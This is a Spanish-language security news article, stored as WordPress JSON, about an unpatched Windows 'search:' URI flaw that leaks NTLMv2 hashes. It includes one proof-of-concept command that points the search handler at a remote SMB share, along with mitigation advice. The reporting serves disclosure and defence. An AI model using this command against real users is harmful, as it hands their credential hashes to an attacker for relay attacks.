{"id":1057,"date":"2026-06-03T10:57:45","date_gmt":"2026-06-03T10:57:45","guid":{"rendered":"https:\/\/cybercolombia.co\/index.php\/2026\/06\/03\/una-vulnerabilidad-de-uri-de-busqueda-de-windows-sin-parches-permite-a-los-atacantes-robar-hashes-ntlmv2-cyberdefensa-mx\/"},"modified":"2026-06-03T10:57:45","modified_gmt":"2026-06-03T10:57:45","slug":"una-vulnerabilidad-de-uri-de-busqueda-de-windows-sin-parches-permite-a-los-atacantes-robar-hashes-ntlmv2-cyberdefensa-mx","status":"publish","type":"post","link":"https:\/\/cybercolombia.co\/index.php\/2026\/06\/03\/una-vulnerabilidad-de-uri-de-busqueda-de-windows-sin-parches-permite-a-los-atacantes-robar-hashes-ntlmv2-cyberdefensa-mx\/","title":{"rendered":"Una vulnerabilidad de URI de b\u00fasqueda de Windows sin parches permite a los atacantes robar hashes NTLMv2 \u2013 CYBERDEFENSA.MX"},"content":{"rendered":"
\n

Investigadores de ciberseguridad han revelado detalles de un problema sin parchear que podr\u00eda explotarse para revelar el hash NTLMv2 de un usuario al atacante.<\/p>\n

Como en el caso de CVE-2026-33829<\/a>que afect\u00f3 al controlador ms-screensketch: URI de la herramienta de recorte de Windows, el problema reci\u00e9n se\u00f1alado reside en la b\u00fasqueda: controlador URI, seg\u00fan Cazadora<\/a>.<\/p>\n

CVE-2026-33829 hace referencia a una vulnerabilidad de suplantaci\u00f3n de identidad que podr\u00eda exponer informaci\u00f3n confidencial a un actor no autorizado. Microsoft lo parch\u00f3 en abril de 2026.<\/p>\n

\u00abUn atacante podr\u00eda inducir al usuario a hacer clic en un enlace especialmente dise\u00f1ado en un navegador web u otra fuente URL, incrust\u00e1ndolo en una p\u00e1gina web o mensaje de correo electr\u00f3nico\u00bb, se\u00f1al\u00f3 Microsoft en su aviso en ese momento.<\/p>\n

\u00abSi el usuario aprueba el lanzamiento del enlace, la URL dise\u00f1ada puede inducir a la computadora a conectarse a un servidor SMB elegido por el atacante, lo que revelar\u00eda el hash NTLMv2 del usuario al atacante, quien podr\u00eda usarlo para autenticarse como usuario\u00bb.<\/p>\n

\n
\"Ciberseguridad\"<\/a><\/div>\n<\/div>\n

Espec\u00edficamente, el problema ten\u00eda que ver con el hecho de que el controlador de URI de la herramienta de recorte acept\u00f3 un par\u00e1metro \u00abfilePath\u00bb, no pudo validarlo y llegar\u00eda a cualquier ruta de la Convenci\u00f3n de nomenclatura universal (UNC) que se le pasara. Esto, a su vez, podr\u00eda activar la autenticaci\u00f3n NTLM y exponer el hash Net-NTLMv2 de la v\u00edctima al atacante.<\/p>\n

La deficiencia reci\u00e9n descubierta logra el mismo objetivo final usando \u00abbuscar:\u00bb y \u00abcrumb=ubicaci\u00f3n:\u00bb en lugar de \u00abfilePath\u00bb usando un comando como el siguiente:<\/p>\n

start \"\" \"search:query=test&crumb=location:\\\\10.0.1.100\\share\"<\/code><\/pre>\n
\u00abUtiliz\u00f3 el mismo mecanismo de fuga NTLM, produjo la misma fuga Net-NTLMv2, ten\u00eda los mismos requisitos previos y ten\u00eda la misma calificaci\u00f3n Moderada\u00bb, dijo el investigador de Huntress, Andrew Schwartz. Vale la pena se\u00f1alar que el uso de un par\u00e1metro \u00abcrumb\u00bb para robar el hash (CVE-2023-35636<\/a>) era documentado<\/a> por Varonis en febrero de 2024.<\/p>\n
Como resultado, un actor de amenazas podr\u00eda aprovechar el hash capturado para realizar ataques de retransmisi\u00f3n y obtener un acceso m\u00e1s profundo a una red. Tras la divulgaci\u00f3n responsable el 15 de abril de 2026, Microsoft se neg\u00f3 a abordar el problema y afirm\u00f3 que \u00absolo los casos de gravedad importantes y cr\u00edticos cumplen con nuestro est\u00e1ndar de servicio\u00bb.<\/p>\n
En ausencia de una soluci\u00f3n, se recomienda bloquear SMB saliente (TCP\/445 y TCP\/139) en hosts que no lo necesitan, aplicar la firma SMB para que los hashes capturados no puedan transmitirse a servicios internos y deshabilitar NTLM cuando corresponda.<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"
Investigadores de ciberseguridad han revelado detalles de un problema sin parchear que podr\u00eda explotarse para revelar el hash NTLMv2 de un usuario al atacante. Como en el caso de CVE-2026-33829que afect\u00f3 al controlador ms-screensketch: URI de la herramienta de recorte de Windows, el problema reci\u00e9n se\u00f1alado reside en la b\u00fasqueda: controlador URI, seg\u00fan Cazadora. CVE-2026-33829 […]<\/p>\n","protected":false},"author":1,"featured_media":1058,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[25,5],"tags":[151,1245,24,2870,52,2871,713,265,703,716,132,2869,313,421],"class_list":["post-1057","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticias","category-trending","tag-atacantes","tag-busqueda","tag-cyberdefensa-mx","tag-hashes","tag-los","tag-ntlmv2","tag-parches","tag-permite","tag-robar","tag-sin","tag-una","tag-uri","tag-vulnerabilidad","tag-windows"],"_links":{"self":[{"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/posts\/1057","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/comments?post=1057"}],"version-history":[{"count":0,"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/posts\/1057\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/media\/1058"}],"wp:attachment":[{"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/media?parent=1057"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/categories?post=1057"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/tags?post=1057"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}